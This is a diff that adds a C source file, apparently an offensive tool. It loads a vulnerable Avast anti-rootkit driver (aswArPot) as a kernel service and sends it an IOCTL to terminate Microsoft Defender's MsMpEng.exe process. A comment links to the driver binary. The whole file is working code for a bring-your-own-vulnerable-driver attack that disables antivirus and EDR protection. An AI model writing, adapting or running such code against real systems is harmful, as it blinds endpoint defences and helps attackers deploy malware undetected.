Added BYOVD_kill_av_edr.c

BYOVD_kill_av_edr.c

@@ -0,0 +1,94 @@
+// BYOVD_kill_edr.c
+// Author : @infosecn1nja
+// compile : x86_64-w64-mingw32-gcc -o kill_edr.exe kill_edr.c
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <windows.h>
+#include <tlhelp32.h>
+#include <ctype.h>
+
+#define IOCTL_ADDR 0x9988c094
+
+DWORD find_pid_by_name(const char* proc_name) {
+    HANDLE snapshot;
+    PROCESSENTRY32 entry;
+    DWORD pid = 0;
+
+    snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+    if (snapshot == INVALID_HANDLE_VALUE) {
+        printf("Failed to create process snapshot.\n");
+        return 0;
+    }
+
+    entry.dwSize = sizeof(PROCESSENTRY32);
+
+    if (Process32First(snapshot, &entry)) {
+        do {
+            if (strcmp(entry.szExeFile, proc_name) == 0) {
+                pid = entry.th32ProcessID;
+                break;
+            }
+        } while (Process32Next(snapshot, &entry));
+    }
+
+    CloseHandle(snapshot);
+    return pid;
+}
+
+int main(void) {
+        SC_HANDLE hSCManager, hService;
+        // https://github.com/magicsword-io/LOLDrivers/raw/main/drivers/a179c4093d05a3e1ee73f6ff07f994aa.bin
+        const char* driverPath = "C:\\ProgramData\\aswArPot.bin";
+        const char* serviceName = "aswArPot";
+
+        // Open the Service Control Manager
+        hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
+        if (hSCManager == NULL) {
+            printf("Failed to open Service Control Manager.\n");
+            return 1;
+        }
+
+        // Create a service for the driver
+        hService = CreateService(hSCManager, serviceName, serviceName,
+                                 SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER,
+                                 SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
+                                 driverPath, NULL, NULL, NULL, NULL, NULL);
+        if (hService == NULL) {
+            printf("Failed to create service for the driver.\n");
+            CloseServiceHandle(hSCManager);
+            return 1;
+        }
+
+        printf("Driver installed successfully.\n");
+
+        // Cleanup and close handles
+        CloseServiceHandle(hService);
+        CloseServiceHandle(hSCManager);
+
+        unsigned int res;
+        DWORD lpBytesReturned = 0;
+
+        HANDLE hDevice = CreateFileA("\\\\.\\aswSP_Avar", GENERIC_WRITE|GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
+
+        if(hDevice == INVALID_HANDLE_VALUE){
+                return -1;
+        }
+
+        const char* process_name = "MsMpEng.exe";
+        DWORD pid = find_pid_by_name(process_name);
+
+        res = DeviceIoControl(hDevice, IOCTL_ADDR, &pid, sizeof(pid), NULL, 0, &lpBytesReturned, NULL);
+
+        if (!res) {
+                printf("Killing IOCTL failed\n");
+                CloseHandle(hDevice);
+                return -1;
+        }
+         
+        printf("IOCTL command sent successfully to kill process '%s'.\n", process_name);
+        CloseHandle(hDevice);
+         
+        return 0;
+}